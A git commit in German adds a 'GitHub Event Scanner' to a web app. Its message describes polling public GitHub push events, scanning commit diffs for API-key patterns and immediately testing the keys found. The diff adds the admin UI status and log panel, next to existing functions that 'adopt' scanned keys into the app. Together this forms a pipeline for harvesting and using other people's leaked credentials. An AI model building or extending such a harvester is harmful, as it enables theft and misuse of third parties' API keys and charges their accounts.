feat: GitHub Event Scanner - Echtzeit-Monitoring öffentlicher Pushes

- Neuer GitHubEventScannerService (BackgroundService)
  - Pollt /events API alle 30s, filtert PushEvents
  - Lädt Head-Commit-Diffs, scannt nach Key-Patterns
  - Ringbuffer (10k IDs) für Event-Deduplication
  - Gefundene Keys werden sofort geprüft (AnthropicKeyChecker)
  - Rate-Limit-Handling (403/429 → Pause bis Reset)
- Feature-Toggle in Server-Einstellungen (GitHubEventScanner)
- Status-Endpoint + Log-Endpoint (/api/admin/api-keys/event-scanner/*)
- Live-Status in API-Keys-Seite mit klappbarem Log
- Auto-Refresh alle 30s
- Plans/ in .gitignore

wwwroot/css/chat.css

@@ -56,7 +56,7 @@
 #chat {
   flex: 1;
   overflow-y: auto;
-  padding: 2em 1em 1em;
+  padding: 8em 1em 1em;
   gap: var(--badge-spacing);
   display: flex;
   flex-direction: column;

wwwroot/index.html

@@ -556,6 +556,8 @@
       <h1>API-Keys</h1>
     </header>
     <div class="page-content">
+      <div id="eventScannerStatus" style="display:none;padding:1em;"></div>
+      
       <div class="form">
         <div class="section-header">
           <h2>API-Key</h2>

wwwroot/js/api.js

@@ -239,6 +239,8 @@ function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/
 function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
 function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
 function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); }
+function apiEventScannerStatus() { return _get('/api/admin/api-keys/event-scanner/status', {}); }
+function apiEventScannerLog() { return _get('/api/admin/api-keys/event-scanner/log', { entries: [] }); }
 
 
 // ── Krea Image API ──

wwwroot/js/pages/api-keys-page.js

@@ -453,6 +453,65 @@ registerPage('api-keys', {
       });
     }
 
+    async function updateEventScannerStatus() {
+      var el = document.getElementById('eventScannerStatus');
+      if (!el) return;
+      try {
+        var s = await apiEventScannerStatus();
+        if (!s.enabled) { el.style.display = 'none'; return; }
+        el.style.display = 'block';
+
+        // Status-Zeile
+        var parts = ['🔴 Event Scanner'];
+        if (s.running) parts = ['🟢 Event Scanner'];
+        if (s.pollCount > 0) parts.push('Polls: ' + s.pollCount);
+        if (s.eventsPerHour > 0) parts.push('Events/h: ' + s.eventsPerHour);
+        if (s.keysFoundTotal > 0) parts.push('🔑 ' + s.keysFoundTotal + ' Key(s) gefunden');
+        if (s.lastPoll) {
+          var ago = Math.round((Date.now() - new Date(s.lastPoll).getTime()) / 1000);
+          parts.push('Letzter Poll: vor ' + (ago < 60 ? ago + 's' : Math.round(ago / 60) + 'min'));
+        }
+        if (s.lastError) parts.push('⚠️ ' + s.lastError);
+
+        var statusLine = parts.join(' · ');
+
+        // Log abrufen
+        var logData = await apiEventScannerLog();
+        var logLines = [];
+        if (logData.entries && logData.entries.length > 0) {
+          var last10 = logData.entries.slice(-10).reverse();
+          logLines = last10.map(function(e) {
+            var t = new Date(e.time).toLocaleTimeString();
+            var icon = e.type === 'key' ? '🔑' : e.type === 'error' ? '❌' : e.type === 'rate_limit' ? '⚠️' : '📡';
+            return icon + ' ' + t + ' ' + e.message;
+          });
+        }
+
+        // Immer klickbare Status-Zeile rendern
+        var wasOpen = false;
+        var oldLog = document.getElementById('eventScannerLog');
+        if (oldLog) wasOpen = oldLog.style.display !== 'none';
+
+        el.innerHTML = '';
+        var statusEl = document.createElement('div');
+        statusEl.style.cssText = 'cursor:pointer';
+        statusEl.title = logLines.length > 0 ? 'Klicken für Log' : '';
+        statusEl.textContent = statusLine;
+        el.appendChild(statusEl);
+
+        var logEl = document.createElement('div');
+        logEl.id = 'eventScannerLog';
+        logEl.style.cssText = 'white-space:pre-line;display:none';
+        logEl.textContent = logLines.length > 0 ? logLines.join('\n') : 'Noch keine Log-Einträge…';
+        if (wasOpen) logEl.style.display = 'block';
+        el.appendChild(logEl);
+
+        statusEl.addEventListener('click', function() {
+          logEl.style.display = logEl.style.display === 'none' ? 'block' : 'none';
+        });
+      } catch(e) { el.style.display = 'none'; }
+    }
+
     async function updateScanStatus() {
       try {
         var s = await apiScanStatus();
@@ -515,9 +574,17 @@ registerPage('api-keys', {
 
     await loadScannedKeys();
     await updateScanStatus();
+    await updateEventScannerStatus();
+
+    // Event Scanner Status auto-refresh
+    var eventScannerTimer = setInterval(updateEventScannerStatus, 30000);
+    this._eventScannerTimer = eventScannerTimer;
   },
 
   destroy() {
-    // Polling stoppen wenn Seite verlassen wird
+    if (this._eventScannerTimer) {
+      clearInterval(this._eventScannerTimer);
+      this._eventScannerTimer = null;
+    }
   }
 });